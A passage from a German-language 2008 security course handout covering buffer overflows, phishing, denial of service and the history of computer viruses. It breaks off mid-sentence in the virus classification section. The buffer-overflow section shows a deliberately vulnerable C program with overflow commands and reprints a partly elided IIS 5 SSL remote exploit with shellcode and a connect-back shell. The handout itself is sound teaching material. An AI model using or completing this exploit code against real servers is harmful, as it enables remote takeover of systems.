Gefahren aus dem Netz
Transcription
Gefahren aus dem Netz
Gefahren aus dem Netz Computerviren, ActiveX, Java und Internettechnologien 4. Überarbeitete und erweiterte Auflage - 2008 Copyright © 1999, 2000 Digicomp AG, Grabenstrasse 1, 8952 Schlieren, http://www.digicomp.ch Copyright © 2008 Armin Hammer, Waldeggstrasse 2, 6343 Rotkreuz, http:/www.ahammer.ch 1 Vorwort zur 4. Auflage Die Basis des vorliegenden Dokumentes entstand 1999 als Begleitunterlage für den Computerkurs VIR bei der Digicomp AG. Die erste und zweite Auflage dieses Dokumentes ist im Besitz der Digicomp AG. Eine dritte Auflage wurde zwar noch vom Autor erarbeitet, ging aber nie in den Besitz der Digicomp über, da die Firma im Oktober 2003 in die Nachlasstundung ging und kurz darauf von der Firma Nanoprécis AG übernommen wurde. Die neuen Inhaber strichen das Kursangebot massiv zusammen, so dass der Kurs VIR nicht mehr angeboten wurde. Die 4. Auflage stellt eine vollständig überarbeitete Version in formaler wie auch inhaltlicher Sicht dar. Losgelöst von der ursprünglichen Bindung an den Besuch eines Kurses ist diese Auflage nun erstmals frei im Internet zugänglich. Armin Hammer, 2008 2 Inhaltsverzeichnis 1 Einführung 1.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.2 Inhaltsübersicht . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.3 Abgrenzung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 5 6 6 2 Informatiksicherheit 2.1 Ziele . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2 Viren und Bedrohungen aus dem Netz . . . . . . . . . . . . . . . . . . . . . 7 7 8 3 Unsichere Systeme 3.1 Einführung . . . . . . . . 3.2 Bedrohung . . . . . . . . 3.2.1 Buffer Overflow . 3.2.2 Pishing Emails . 3.2.3 Denial-Of-Service 3.3 Massnahmen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 . 9 . 9 . 9 . 14 . 15 . 16 4 Viren 4.1 Was ist ein Computervirus? . . . . . . . . . 4.2 Geschichte . . . . . . . . . . . . . . . . . . . 4.3 Virenproblematik . . . . . . . . . . . . . . . 4.4 Virenarten und deren Verbreitung . . . . . 4.4.1 Übersicht . . . . . . . . . . . . . . . . 4.4.2 (Klassisches) Virus . . . . . . . . . . 4.4.3 Makrovirus . . . . . . . . . . . . . . . 4.4.4 Trojanisches Pferd . . . . . . . . . . 4.4.5 Wurm . . . . . . . . . . . . . . . . . . 4.4.6 Hoax . . . . . . . . . . . . . . . . . . 4.4.7 Mögliche zukünftige Computerviren 4.5 Virenbekämpfung . . . . . . . . . . . . . . . 4.5.1 Backupstrategien . . . . . . . . . . . 4.5.2 Prävention . . . . . . . . . . . . . . . 4.5.3 Suchen und Entfernen von Viren . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 20 20 21 22 22 23 31 40 42 45 46 49 49 49 50 5 ActiveX 5.1 Technologie . . . . . . . . . . . . . . . . . 5.1.1 ActiveX als Anwender . . . . . . 5.1.2 ActiveX aus Sicht des Technikers 5.2 Bedrohung . . . . . . . . . . . . . . . . . 5.3 Massnahmen . . . . . . . . . . . . . . . . 5.4 Zukunft . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 51 51 53 54 57 61 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 JavaTM 6.1 Technologie . . . . . 6.2 Bedrohung . . . . . 6.3 JavaTM 2 Plattform 6.4 Massnahmen . . . . 6.5 Zukunft . . . . . . . . . . . . 63 63 66 67 68 70 7 JavaScript 7.1 Technologie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7.2 Bedrohung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7.3 Massnahmen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 72 74 75 8 Cookies 8.1 Technologie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.2 Bedrohung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.3 Massnahmen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 77 78 79 9 Cross-Side-Scripting 9.1 Technologie . . . . . . . 9.2 Bedrohung . . . . . . . 9.2.1 Browserbeispiel 9.2.2 Serverbeispiel . 9.3 Massnahmen . . . . . . 9.4 Zukunft . . . . . . . . . . . . . . . 81 81 82 82 82 82 82 10 SQL-Injection 10.1 Technologie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10.2 Bedrohung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10.3 Massnahmen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83 83 83 84 A Quellenverzeichnis 85 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Kapitel 1 Einführung 1.1 Motivation Meldungen über Viren und Hacker machen regelmässig Runde in der Presse, dem Radio und selbst im Fernsehen. Die Bedrohung ist real und verunsichert viele Benutzer. Nur wer sich umfassend mit diesem Thema befasst und vorbereitet, kann diesen Meldungen gelassen gegenüberstehen. Abbildung 1.1: Virenimpfung - Quelle «Information Week» Heft 21/1998 Seite 88 Diese Dokumentation zeigt dem Leser die zum Verständnis der Bedrohungen nötigen Grundlagen auf und führt ihn schrittweise zu Konzepten und Vorgehensweisen, wie man sich vor den Gefahren aus dem Netz schützen kann. 5 1.2 Inhaltsübersicht Die Gefahren, mit denen ein Internetbenutzer konfrontiert wird, lassen sich in drei Gruppen einteilen. • Unsichere Systeme : Fast alle Softwarehersteller liefern heute Korrekturen ihrer Programme in Form von Patches und Updates aus. Das Einspielen dieser sicherheitsrelevanten Korrekturen ist extrem wichtig, da unsichere Systeme als von Hackern kontrollierten Zombie Computer enden und eine ideale Plattform zur Verbreitung von Würmern und zum Aufbau von BOT- Netzen darstellen. • Computerviren : Speicherung - oder Empfang per Email - von Programmen und Dokumenten. Dabei kann der eigene Rechner mit Computerviren infiziert werden und als Basis für die weitere Verbreitung dienen. • Benutzung von Internettechnologien wie ActiveX, VisualBasic, Java, JavaScript oder Cookies für Multimedia, Online-Dienste usw. Diese Technologien werden häufig unter dem Begriff «Web 2.0» zusammengefasst. Diese Mechanismen ermöglichen bisher nicht realisierbare Interaktionen zwischen Internetanbieter und dem Benutzer. Sie lassen sich jedoch missbrauchen und zum Schaden des Anwenders verwenden. Die nachfolgenden Seiten besprechen die verschiedenen Bedrohungen, angefangen bei unsicheren Systemen über Computerviren bis hin zu den aktuellen Internettechnologien mit ActiveX, Java, JavaScript, Cookies, Cross-Side-Scripting (XSS) und SQLInjection. Für jede Bedrohung werden zuerst die Grundlagen erarbeitet und anschliessend Konzepte für Vorbeugung und Behebung aufgezeigt. 1.3 Abgrenzung Das Thema «Gefahren aus dem Netz» streift viele Gebiete wie zum Beispiel die Programmierung in Java und die Handhabung und Konfiguration von Microsoft Windows. Daneben werden aber auch organisatorische Themen und rechtliche Aspekte tangiert. Im Rahmen dieser Dokumentation auf alle Themengebiete einzugehen ist nicht möglich, deshalb werden hier zu Beginn die nicht behandelten Gebiete explizit ausgeklammert. • Keine spezifische Produkteschulung Hier wird kein spezifisches Produkt (z.B. Windows 2003 Server), sondern eine umfassende Problematik geschult. Die Lösung dieser Problematik lässt sich anschliessend mit sehr unterschiedlichen Softwarepaketen und Konzepten realisieren. • Keine Gesetzeskunde Ebenfalls nicht in diesem Kurs behandelt werden die rechtlichen Aspekte. Hier sei auf das schweizerische Strafgesetzbuch (Artikel 143 und 144), das Bundesgesetz über den Datenschutz und den Eidgenössischen Datenschutzbeauftragten (http://www.edsb.ch) verwiesen. • Kein Lehrgang zur Programmierung von Viren Dieser Kurs beinhaltet detailliert die Funktionsweise und den inneren Aufbau von Viren, welche für das Verständnis und die Bekämpfung der Computerviren unerlässlich ist. Es ist aber wichtig hervorzuheben, dass diese Dokumentation keine Anleitung zur Programmierung eigener Viren darstellt oder dazu zu verwenden ist! 6 Kapitel 2 Informatiksicherheit Die Abhängigkeit von Computern in Industrie und Gewerbe ist so gross wie nie zuvor. Sei es in der Administration (Wo stehen heute noch mechanische Schreibmaschinen in den Büroräumlichkeiten!), in der Produktion (Stichwort CIM1 ) oder der Telekommunikation (Stichwort VoiceOverIP). Die Verwendbarkeit der verschiedenen Computersysteme muss unbedingt sichergestellt werden, da bei Ausfällen oder falschen Informationen Termine nicht eingehalten werden oder schlicht die komplette Produktion still steht. Solche Ausfälle können den Firmen viel Geld kosten und existenzbedrohende Auswirkungen haben. Alle Massnahmen, Vorgehensweisen und technischen Hilfsmittel, welche dem Schutze der Informatikanlagen dienen sollen, lassen sich unter dem Begriff Informatiksicherheit zusammenfassen. 2.1 Ziele Die Informatiksicherheit basiert auf den folgenden vier Grundzielen: • Verfügbarkeit Wann immer Informationen benötigt werden, sollen diese zur Verfügung stehen, anderenfalls leidet die Produktivität. Häufig wird anstelle der Informationen auch ein spezifischer Dienst oder Service angeführt (z.B. Kommunikationssystem Email). • Integrität Für den Benutzer des Computersystems muss sichergestellt werden, dass die von ihm abgelegten Informationen nicht manipuliert bzw. verändert werden und im Originalzustand weiter zu bearbeiten sind. • Vertraulichkeit Schützenswerte Informationen sollen gegen unbefugten Zugriff gesichert werden. Neben vertraulichen, betriebsinternen oder privaten Informationen sind hier alle Datensammlungen angesprochen, welche unter das schweizerische Datenschutzgesetz fallen. • Verbindlichkeit Getätigte Kommunikation ist nachweisbar und schafft im Zusammenspiel mit einem Identitätsnachweis der Kommunikationspartner eine rechtskräftige Verbindlichkeit der kommunizierten Information. 1 computer integrated manufacturing 7 2.2 Viren und Bedrohungen aus dem Netz Die oben genannten Ziele der Informatiksicherheit sind manigfaltig bedroht. Neben fehleranfälligen Programmen oder Hardwaresystemen spielen hier vor allem die absichtlich herbeigeführten Angriffe eine entscheidende Rolle. Die Bedrohung, die sich daraus ergibt, richtet sich zumeist gegen die Verfügbarkeit von Systemen oder gegen die Vertraulichkeit von Informationen. Aber auch die Verbindlichkeit ist unter Beschuss, wenn zum Beispiel durch PishingEmails erhalte Identitätskennungen zum Erschleichen von Dienstleistungen Verwendung finden. Das Internet ist dabei keine eigentliche Bedrohung, aber die Verbindung mit einem globalen, unkontrollierten Netzwerk fördert in hohem Masse die Verbreitung. Wurden früher Computerviren hauptsächlich durch Disketten ausgetauscht, lassen sie sich heute, in gut besuchten Newsgruppen platziert, innert Stunden um die ganze Welt verteilen (z.B. Melissa- Makrovirus). Die folgende Abbildung veranschaulicht die Zugehörigkeit von Technologie und Bedrohung. Abbildung 2.1: Übersicht der Angriffe und deren Bedrohungen 8 Kapitel 3 Unsichere Systeme 3.1 Einführung Quellcodeanalysen zeigen, dass sich statistisch pro 1000 Programmzeilen zwischen 0.42 bei Open-Source Projekten und 0.51 bei kommerziellen, closed-source Programme zeigen. Aktuelle Scans sind zum Beispiel jene von Coverty http://scan.coverity.com. Rechnet man diese Zahlen auf bekannte Systeme um, so ergeben sich folgende geschätzte Fehlerzahlen in den jeweiligen Produkten. Um den Vergleich zu vereinfachen, wurde auch bei den closed-source Windows Systemen die statistische Defect Density von 0.42 verwendet. Software Windows 3.1 Windows 95 Windows XP Windows Vista Linux Kernel v2.6 Firefox v1.5 Apache v2.2 # Programmzeilen 2.5 Mio 15 Mio 40 Mio 50 Mio 3.3 Mio 1.8 Mio 0.6 Mio ~ Fehleranzahl 1’050 6’300 16’800 21’000 1’386 756 252 Wie gravierend die jeweiligen Fehler sind, darüber streiten sich in der Regel selbst die Experten. Für den Enduser ist bei diesem Thema insofern wichtig, dass der Hersteller einer Software die gefundenen Programmfehler analysiert, ihre Priorität erkennt und entsprechend deren Dringlichkeit einen Patch zur Korrektur liefert. 3.2 Bedrohung 3.2.1 Buffer Overflow Ein häufiger Programmierfehler ist der so genannte Buffer Overflow. Er entsteht, wenn bei einer Zuweisung mehr Informationen zugewiesen wird, als eigentlich vom Programmierer vorgesehen. Zusätzlich muss der Programmierer vergessen haben, dies abzufangen bzw. die Datengrösse vorgängig zu kontrollieren. Folgendes Beispiel soll das Konzept eines Buffer Overflows illustrieren. #include <stdio.h> int main() { char envbuffer[1024]; if (getenv("BOF") == NULL) { fprintf(stderr, "BOF not set\n"); exit(1); } 9 /* Read the environment variable data into the buffer */ strcpy(envbuffer, (char *)getenv("BOF")); printf("Environment variable BOF is:\n\"%s\".\n\n", envbuffer); printf("bof-end\n"); return 0; } Das Programm bof liesst die Umgebungsvariable BOF des Betriebssystems aus und zeigt deren Inhalt in der Kommandozeile an. Für den Buffer Overflow sind folgende zwei Zeilen elementar. Zum einen die Deklaration einer Puffervariable. Diese ist fix auf eine maximale Grösse von 1024 Zeichen begrenzt. char envbuffer[1024]; Zum anderen ist es die Zuweisungszeile, in der die Umgebungsvariable ungeprüft dem Puffer zuweisen wird. strcpy(envbuffer, (char *)getenv("BOF")); Als ANSI-C Programm lsst sich das Programm wie folgt compilieren und ausführen. gcc -o bof bof.c MacOsX:/src/bof $ export BOF=”Hello world” MacOsX:/src/bof $ ./bof Environment variable BOF is: “Hello world” bof-end So weit so gut. Um den Buffer Overflow nun auszunutzen, verlängert man systematisch die Umgebungsvariable BOF. Auf dem Testsystem bis zu einer Länge von 1060 Zeichen. MacOsX:/src/bof $ export BOF=‘perl -e ’{print "A"x"1060"}’‘ MacOsX:/src/bof $ gdb bof GNU gdb 6.1-20040303 (Apple version gdb-434) (gdb) r Starting program: /src/bof/bof Environment variable BOF is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". bof-end Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x41414140 0x41414140 in ?? () (gdb) q Um das Verhalten des Programms besser zu dokumentieren, wurde es direkt mittels eines Debuggers gestartet. Dieser erlaubt die Einsicht in die Abarbeitung und möglicher Fehler. Zu Beginn arbeitet das Programm bof noch wie geplant und schreibt den Inhalt der Umgebungsvariable auf den Bildschirm. Doch anschliessend versucht es zusätzlich nicht vorhandener Programmcode auszführen - zu sehen an der Zeile “Could not access memory”. Die zu lange Umgebungsvariable hat das ursprüngliche Programm im Rechner verändert. Durch Versuche wurde bei einer Länge von 1060 Zeichen jener Teil des Programms berschrieben, wo weitere Programmanweisungen abarbeitet 10 werden. Der Debugger fängt diesen Fehler ab, da die im Beispiel verwendete sinnlose Kombination von AAAAs keine korrekte Anweisung darstellt. Zur Verständlichkeit sei gesagt, dass die hexadezimale Zahl 0x41 - ASCII «A» und deren Wiederholung die angezeigt Speicherstelle 0x41414140 darstellt. Die letzte Eins wird als Null darstellt. Dies ist eine Eigenheit des verwendeten Testsystems, welches auf einem 32Bit PowerPC Prozessor von Motorola basiert. Dieser Prozessor ist auf 4Byte Speicheradressierung optimiert und ignoriert ungerade Speicherstellen. 11 Beispiel SSL Exploit Vom theoretischen Beispiel nun zu einer realen Anwendung. Im April 2004 tauchte ein SSL Exploit für den IIS v5 von Microsoft auf. Umgesetzt in nachfolgendem Programm liess sich ein nicht aktualisierter Server erfolgreich angreifen und eine Verbindung etablieren, über die man den Server per Console administrieren kann. Die allgemeine Beschreibung liefert Microsoft in ihrem Security Bulletin MS04-011. /*************************************************************/ /* THCIISSLame 0.2 - IIS 5 SSL remote root exploit */ /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */ /* */ /* Bug was found by Internet Security Systems */ /* Reversing credits of the bug go to Halvar Flake */ /* */ /* compile with MS Visual C++ : cl THCIISSLame.c */ /* */ /* This little update uses a connectback shell ! */ /*************************************************************/ #include <stdio.h> ... #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") #define jumper "\xeb\x0f" #define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49...." char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\....."; char shellcode[] = "\xeb\x25\x7a\x69\x7f\x00\x00\x01\x02\x06\x6c\x59\x6c\x59\xf8" ... "\x55\xf0\x6a\xff\xff\x55\xe4"; int main(int argc, char *argv[]) { unsigned int i,sock,sock2,sock3,addr,rc,len=16; ... unsigned long cbip; struct sockaddr_in mytcp; struct hostent * hp; WSADATA wsaData; printf("\nTHCIISSLame v0.2 - IIS 5.0 SSL remote root exploit\n"); printf("tested on Windows 2000 Server german/english SP4\n"); if(argc<4 || argc>4) usage(); badbuf = malloc(327); memset(badbuf,0,327); printf("\n[*] building buffer\n"); p = badbuf; memcpy(p,sslshit,sizeof(sslshit)); p+=sizeof(sslshit)-1; strcat(p,jumper); strcat(p,greetings_to_microsoft); offset^=XOR; strncat(p,(unsigned char *)&offset,4); cbport = htons((unsigned short)atoi(argv[3])); cbip = inet_addr(argv[2]); memcpy(&shellcode[2],&cbport,2); 12 memcpy(&shellcode[4],&cbip,4); strcat(p,shellcode); if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0) { printf("WSAStartup failed !\n"); exit(-1); } hp = gethostbyname(argv[1]); if (hp != NULL) memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length); else mytcp.sin_addr.s_addr = addr; if (hp) mytcp.sin_family = hp->h_addrtype; else mytcp.sin_family = AF_INET; mytcp.sin_port=htons(443); printf("[*] connecting the target\n"); rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in)); if(rc==0) { send(sock,badbuf,326,0); printf("[*] exploit send\n"); Sleep(500); mytcp.sin_addr.s_addr = 0; mytcp.sin_port=htons((unsigned short)atoi(argv[3])); sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rc=bind(sock2,(struct sockaddr *)&mytcp,16); if(rc!=0) { printf("bind error() %d\n",WSAGetLastError()); exit(-1); } rc=listen(sock2,1); printf("[*] waiting for shell\n"); sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len); if(sock3) { printf("[*] Exploit successful ! Have fun !\n"); shell(sock3); } } else { printf("\nCan’t connect to ssl port 443!\n"); exit(-1); } ... 13 3.2.2 Pishing Emails Phishing Emails sollen den Empfänger verleiten, die im Email angegebene Website zu besuchen und dort seine vertraulichen Informationen - Benutzername, Kennwort und/oder TAN - einzugeben. Dazu gaukelt der Versender ein möglichst offizielles Email inklusive Website mit zumeist identischem Aussehen, wie die eigentliche Firmenseite, vor. Zusätzlich versehen mit einem Ultimatum, dass bei nicht reagieren der eigene Account gesperrt werde, tappen viele Anweder in die Falle. Abbildung 3.1: Phising Email an PostFinance Kunden Auf den ersten Blick erscheinen die Email authentisch. Erst auf den zweiten Blick zeigen sich Fehler, die so nicht sein dürften. So sind grobe Rechtschreibfehler an der Tagesordnung und auch die vollständige Darstellung der Absenderadresse zeigt verräterische Angaben. Abbildung 3.2: Phishing Website mit UBS Look 14 Wer hier seine vertraulichen Angeben wie Vertragsnummer, Kennwort und TAN eingibt, ebenet Dieben den Zugriff aufs private Konto. Erste Phising-Opfer waren Nutzer von eBay und Amazon. Mit vorschreitender Professionalisierung der Banden, werden immer mehr Banken bzw. ihre Online-FinancePortale - Ziele von Phishing-Attacken. Glücklicherweise ist das Vorgehen der PhisingAttacken in der Regel klar ersichtlich, so dass man grundsätzlich folgende Merkregel aufstellen kann. Keine seriöse Firma, Bank oder sonstige Organisation wird jemals per EMail den Kunden zur Eingabe der vertraulichen Informationen bitten. PostFinance, ein schweizer Online-Portal, infomierte zum Beispiel seine Kunden wie folgt. Abbildung 3.3: PostFinance - Information 3.2.3 Denial-Of-Service Denial-Of-Service - kurz DoS - beschreibt den Umstand, das ein Service seine Funktion nicht mehr ausführen kann. Die möglichen Ursachen lassen sich in zwei Gruppen aufteilen. Programmierfehler Der DoS tritt aufgrund eines Programmierfehlers auf, welcher zum Absturz des Services führt. By-Design Die Konzeption eines Verfahrens oder Vorgehens lässt sich missbrauchen. Eine DoS Attacke kann von einem einzelnen Rechner ausgeführt werden oder auch von einem BOT1 -Netzverbund bestehend aus hunderten von Rechnern. Bei letzterem Spricht man dabei von einem Distributed-Denial-Of-Service - kurz DDoS. Bei einem DDoS Angriff wird ein Internetportal so massiv mit Hits eindeckt, dass das Hosting des Portals aufgrund der hohen Last zusammenbricht. Ein protokolliertes Beispiel findet sich unter http://www.blogg.ch vom Sa. 23. September 2006 mit dem Titel «Protokoll einer DDOS Attacke». 1 Unter einem Bot (vom Begriff robot abgeleitet) versteht man ein Computerprogramm, das weitgehend autonom ständig gleichen, sich wiederholenden Aufgaben nachgeht. Es handelt sich dabei meist um ein eher simples, aber effektives Programm. Gebräuchlich ist die Bezeichnung auch für quasi-selbständige Programme im Bereich der Künstlichen Intelligenz. 15 Programmierfehler Klassische Programmierfehler sind sogenannte Memory-Leaks. Die Software räumt die für die korrekte Funktionsweise benötigten Daten im Arbeitsspeicher gar nicht oder unter grosser Last zuwenig schnell auf, so dass die Serverressourcen schlussendlich aufgebraucht sind. Abbildung 3.4: Speicherproblem Obiges Beispiel zeigt einen Server mit einer fehlerhaften Komponente. Diese Komponente muss alle paar Tage frisch gestartet werden, um nicht ans Limit der vorhandenen 512MByte Arbeitspeicher zu stossen. By-Design Fehler Konzeptionelle Unzulänglichkeiten sind eine weitere Quelle möglicher DoS Angriffe. Ein Beispiel dafür ist ICMP Timestamp Reply. Die Anfrage ist kleiner als die vom Server provozierte Antwort. Gut geplant kann hier ein Angreifer mit wenig Internetbandbreite einen Service mit grosser Bandbreite lahmlegen, indem er die vorhandene Bandbreite durch ICMP Timestamp-Replys füllt. Inzwischen ist diese Art des Angriffes wohlbekannt und lässt sich leicht durch eine Firewall blockieren. ICMP Timestamp - 96 Bytes Umfang Abbildung 3.5: ICMP Timestamp Struktur ICMP Timestamp Reply - 160 Bytes Umfang Abbildung 3.6: ICMP Timestamp Reply Struktur 3.3 Massnahmen Alle grossen Hersteller liefern Fehlerkorrekturen in Form von Patches aus. Diese erlauben es, ein bestehendes, aktives System zu aktualisieren ohne Neuinstallation. 16 Microsoft lieferte ursprünglich ihre Patches sofort nach deren Erscheinung aus. Dabei konnte es passieren, dass innerhalb einer Woche drei Patches erschienen, welche alle mit einem Neustart des Systems abgeschlossen werden mussten. Als Privatanwender ist dies vielleicht zumutbar, da der Computer am Abend in der Regel eh abgeschaltet wird. Aber in einem Dienstleistungsbetrieb hat man in der Regel ein Servicefenster pro Woche, wo man grundlegende Arbeiten an System durchführt und einen Reboot tätigen kann. Seit Herbst 2004 liefert Microsoft ihre Patches einmal Monat. Windows 2000 ab Servicepack 4 und alle neueren Versionen beinhaltet einen automatischen Updatemechanismus. Dieser bezieht seine Patches bei Privatanwendern direkt von Microsoft. Abbildung 3.7: Windows Update on Windows 2003 Server In grösseren Firmen würde das Downloadvolumen aber bei weitem die zur Verfügung stehende Bandbreite ausfüllen. Entsprechend bietet Microsoft kostenlos eine Alternative an, den so genannten Windows Update Service. Dieser Services bezieht einmalig die Patches von Microsoft und verteilt diese anschliessend auf Anfrage an die Arbeitsstationen. Abbildung 3.8: WSUS Administrationsbackend Neben der Verteilung übernimmt dieser Service auch die Verwaltung und das Reporting über die zu verwaltenden Arbeitsstationen. 17 Die Arbeitsstationen werden in der Regel per Group Policy auf die Nutzung dieses Services anstelle des direkten Internetdownloads konfiguriert und gegen Fehlmanipulation geschützt. Abbildung 3.9: Arbeitsstation mit Konfigurationsschutz Hersteller anderer Betriebssysteme, wie zum Beispiel Apple mit MacOs X oder RedHat bietet vergleichbare Aktualisierungs- und Verwaltungswerkzeuge. Abbildung 3.10: MacOsX Software-Aktualisierung 18 Abbildung 3.11: RedHat Network 19 Kapitel 4 Viren 4.1 Was ist ein Computervirus? Ein Computervirus ist - allgemein definiert - eine Folge von Anweisungen, die Programme, gespeicherte Informationen und/oder das Betriebssystem absichtlich zum Schaden des Benutzers manipuliert. Je nachdem, in welcher Gestalt und Form die schädlichen Anweisungen anzutreffen sind, spricht man vom (klassischen) Virus, einem Makrovirus, einem trojanischen Pferd oder von einem Wurm. Häufig anzutreffen sind auch so genannte Hoaxes (engl. für Jux). Dies sind Warnungen vor nicht existenten Computerviren. 4.2 Geschichte Die Geschichte der Computerviren ist eng mit der Verbreitung der Personal Computer verknüpft und beschleunigt sich aufgrund der weltweiten Vernetzung rapide. 1984 Fred Cohen : Doktorarbeit “Computer Viruses :Theory and Experiments” 1986 Erster MS-DOS Virus, genannt ”Brain” 1988 Erste AntiViren Programme erscheinen INTERNET-Wurm legte 250’000 Unix-Rechner während zwei Tagen lahm. Vermutlicher wirtschaftlicher Schaden : 96 Millionen US-Dollar. 1999 Melissa Macrovirus - Als erstes Virus verschickt es per Outlook selbstndig infizierte Word-Dokumente und verbreitet sich deshalb rasend schnell. 2000 LoveLetter/VBS Virus - In nur 6 Stunden verteilte sich das Virus in Amerika und ganz Europa und infizierte dabei etwa 2.5 Millionen Computer. 2001 Code Red - Dieser Wurm attackierte den Internet Information Service von Windows, nistete sich dort aufgrund eine Systemfehlers ein und verbreitete sich anschliessend auf an-dere IIS Server. 2002 Nimbda - Ebenfalls ein Wurm, wie Code Red. Dieser attackierte ebenfalls den IIS von Microsoft. Zudem versuchte er auch lokal per Netzwerk zugngliche Rechner zu infizieren und versandt sich selber per Email an andere Systeme. 2003 Blaster - Aufgrund eines Programmfehlers in der zentralen Komponente für die Netzwerkkommunikation (aka remote procedure call - kurz RPC) nistete sich dieser Wurm rasch in Windows Rechner ein und verbreitete sich in lokalen Netzwerken. Daneben führte er hufig zum Absturz der RPC 20 - Komponente, was Windows mit einem Absturz und anschliessendem Neustart quittierte 2004 MyDoom - Dieses Virus setzte neue Massstäbe in der Verbreitungsgeschwindigkeit. In den ersten 36 Stunden nach seinem Ausbruch generierte dieses Virus schätzungsweise 30% aller Emails weltweit. Da sind ca. 100 Millionen infizierte Emails. Entsprechend brachen vielerorts Server und Internetzugänge unter der zusätzlichen Last zusammen. Bereits kurz nach nach MyDoomA, verbreitete sich ein noch gefährlichere Version MyDoomB. Diese griff per DoS die Webseiten von SCO und Microsoft an und verhinderte den Zugang von Virenscannern auf deren Herstelleraktualisierungen. 2006 2006 sind über 72’000 verschiedene Computerbedrohungen - so genannte Threads - bekannt. Eine Studie der US-Firma International Computer Security Association (ICSA) schätzt die Zunahme von neuen Viren auf 200 bis 300 Stück pro Monat! heute Zahlen der Firme AV-Test.org besagen, dass die Zahl der Computerviren, wobei hier der MD5-Hash als Unterscheidungskriteriumg herangezogen wird, förmlich explodiert. Abbildung 4.1: AV-Test Statistik 4.3 Virenproblematik Viren sind ein Ärgernis für alle Computerbenutzer. Ihre Folgen sind meist verheerend. Angefangen vom Verlust eines Programms, über veränderte Dokumente bis hin zur kompletten Neuinstallation des Betriebssystems reicht die Palette der möglichen Schäden. Die antiquierte Ansicht, dass nur Software-Raubkopierer mit Viren zu kämpfen haben, ist seit der Verbreitung des Internets überholt. Das Internet mit seinem globalen Austausch von Informationen ist geradezu ein Eldorado für Viren und begünstigt in hohem Masse deren Weiterverbreitung rund um den Globus. Basierend auf der globalen Vernetzung sind auch komplett neue Angriffe möglich. So sind Computerviren in der Lage, aufgrund vieler infizierter Rechner weltweit, so viele Hits auf eine Webseite zu generieren, dass deren Server und Internetzugänge überlastet werden. Hierbei spricht man von einem Denial Of Service. Allen Viren gemein ist die Tatsache, dass sie sich selber reproduzieren können, d.h. das Virus kann sich weiterverbreiten, indem es Kopien seiner selbst erzeugt. Deshalb auch die Analogie zu ihren biologischen Namensvettern. Bleibt ein Virus deshalb über längere Zeit unbemerkt, so ist es sehr wahrscheinlich, dass auch andere Rechner, welche mit dem verseuchten Computer kommunizieren, mit Viren befallen sind. Besonders in Firmen kann dieser Umstand, neben den bisher beschriebenen Ärgernissen, einen betrchtlichen Aufwand verursachen, wenn in einer Säuberungsaktion hunderter von Computer zu untersuchen und zu reinigen sind. 21 4.4 4.4.1 Virenarten und deren Verbreitung Übersicht Computerviren lassen sich aufgrund ihrer Eigenschaften in vier Klassen aufteilen. • Klassisches Virus, z.B. Boot-Viren, File-Viren • Makrovirus • Trojanisches Pferd • Wurm Wie immer gilt auch hier - Keine Regel ohne Ausnahme. Aufgeweicht wird diese Aufteilung, da viele 